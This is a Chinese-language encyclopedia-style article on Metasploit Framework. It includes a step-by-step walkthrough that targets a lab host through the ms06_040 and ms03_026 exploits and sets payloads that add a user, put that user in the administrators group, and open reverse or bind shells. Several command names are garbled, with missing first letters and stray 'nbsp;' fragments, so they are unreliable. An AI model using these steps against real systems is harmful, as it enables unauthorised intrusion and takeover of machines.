Metasploit Framework

Metasploit Framework

Metasploit Framework是一個編寫、測試和使用exploit代碼的完善環境。這個環境為滲透測試shellcode編寫和漏洞研究提供了一個可靠的平台,這個框架主要是由面向對象的Ruby編程語言編寫的,並帶有由C語言,彙編程序和Python編寫的可選組件。

百科名片


Metasploit Framework是一個編寫,測試和使用exploit代碼的完善環境。這個環境為滲透測試,shellcode編寫和漏洞研究提供了一個可靠的平台,這個框架主要是由面向對象的Ruby編程語言編寫的,並帶有由C語言,彙編程序和Python編寫的可選組件。

簡介


Metasploit Framework 作為一個緩衝區溢出測試使用的輔助工具,也可以說是一個漏洞利用和測試平台。它集成了各平台上常見的溢出漏洞和流行的shellcode,並且不斷更新,使得緩衝區溢出測試變得方便和簡單。
使用Metasploit安全測試工具在滲透測試中可以做很多事情,你可以保存你的日誌、甚至定義每個有效負載在運行完成之後是如何將其自身清除的。值得一提的是這個強大的工具是免費的,它的開發團隊由兩個全職成員和少數兼職的投稿者組成,Metasploit Framework由最初的1.0版發展到現在的3.0版的漏洞自動化探測,成績驕人,精神可嘉!

使用方法


以Metasploit Framework 2.7為例,簡述它在命令模式下的使用方法。
1).安裝完成後運行MSFUpdate進行自動更新,如無更新將提示退出程序。如有更新,當出現Preserve modifications(yes or no)?時輸入"yes"?行更新.
2).可以通過MSFConsole直接進入,也可以在Cygshell下輸入msfconsole進入框架命令模式下.
3).使用命令"elp"
可以看到裡面有如下的命令:
"?"nbsp; :獲取幫助。
"d"nbsp; :更換當前的工作目錄。
"xit"nbsp; :退出。
"elp"nbsp; :獲取幫助。
"nfo"nbsp; :顯示當前程序的相關信息。
"uit"nbsp; :退出程序。
"eload"nbsp; :再載入Exploit和payloads。
"ave"nbsp; :保存當前設置
"etg"nbsp; :設置一個全局環境變數
"nsetg"nbsp; :移除全局環境變數。
"how"nbsp; :顯示可用的Exploit和payloads。
"se"nbsp; :使用一個Exploit。
"ersion"nbsp;:顯示程序的版本。
例如使用ms06040這個漏洞,步驟如下(不唯一):
↓ show exploits //顯示可用的exploit,以BSD開頭的是針對BSD系統的ShellCode,以Linx開頭的是針對Linux系統的ShellCode,以CMD和WIN開頭的是針對Windows系統。
‖ info netapi_ms06_040 //查看這個exploit的相關信息
↓ use netapi_ms06_040 //使用這個exploit
‖ show options //顯示這個漏洞利用的參數
↓ set RHOST 192.168.1.11 //設置遠程主機地址這個參數
show targets //顯示exploit支持的操作系統類型
set TARGET 0 //設置目標為0所代表的那個操作系統類型
show payloads //顯示與正在使用的漏洞利用兼容的有效負載,說白了Payload就是我們平時說的ShellCode,不同的系統對不同的ShellCode要求是不一樣。
set PAYLOAD win32_exec //設置有效載荷為執行特定命令
show options //顯示相關參數
set CMD "et user hello world /add"nbsp; //設置要執行的命令為添加一個帳號
set //檢查環境設置
check //檢查目標是否存在相關漏洞
exploit //檢查無誤后即可進行溢出了
4).web模式下使用方法
運行Msfweb.bat,在IE地址欄中輸入http://127.0.0.1:55555即可看到操作界面。
單擊“select payload”選項進入Payload選擇界面,選擇需要的Payload后就進入基本信息的設定界面,這裡的設置和前面介紹的基本一致,等都設定好后,點
Vulnerability Check檢查目標系統是否存在相應的漏洞,點Launch Exploit進行溢出。
展望
最新的Metasploit 3.0版本使用的是Ruby編程語言(RUBY以很少的代碼實現很多功能而著稱),這說明RUBY已經逐漸被黑客社區所認可,是一個值得注意的新動向,雖然它和
NESSUS比起來可能是小巫見大巫,但也有自己獨到的地方,它的功能強大並且容易使用,對於我們日常的滲透來說是一款非常實用的工具。當然,你完全可以自己向這個工具中添加任何你認為對你有用的溢出工具包。
Metasploit 3.0主要的目標如下:
Improve automation of exploitation through scripting
Simplify the process of writing an exploit
Increase code re-use between exploits
Improve and generically integrate evasion techniques
Support automated network discovery and event correlation through recon modules
Continue to provide a friendly outlet for cutting edge exploitation technology
Metasploit的適應性和平台多功能性都十分強大,加之功能強大,使用簡單等特性將使Metasploit成為業界流行的經典工具。
|=--------------------------=[ Metasploit 2.7的模擬攻擊 ]=--------------------------=|
本地主機:192.168.1.10
目標主機:192.168.1.11
1.開虛擬機,用nmap收集目標主機相關信息
要裝Winpcap后才能使用nmap
winpcap(windows packet capture)是windows平台下一個免費,公共的網路訪問系統。Winpcap可以為為win32應用程序提供訪問網路底層的能力。
nmap -A 192.168.1.11 -oN C:\1.txt
2.目標主機開啟了msrpc服務
對應的exploit: msrpc_dcom_ms03_026
1).payload設置為win32_reverse時,為逆向連接。
set LHOST 192.168.1.10
思路:假如不是在一網段,可設置LHOST為一公網IP,然後在那台主機上用nc監聽特定的埠。
3.埠139,445開放,可利用ms06_040這個漏洞
不清楚目標操作系統時選擇自動
1).payload設置為win32_adduser
set USER blueagle set PASS blueagle
2).payload設置為win32_bind
Windows Bind shell ,對windows shell的綁定
3).payload設置為win32_exec
set CMD "et user blueagle blueagle /add" set CMD "et localgroup administrators blueagle /add"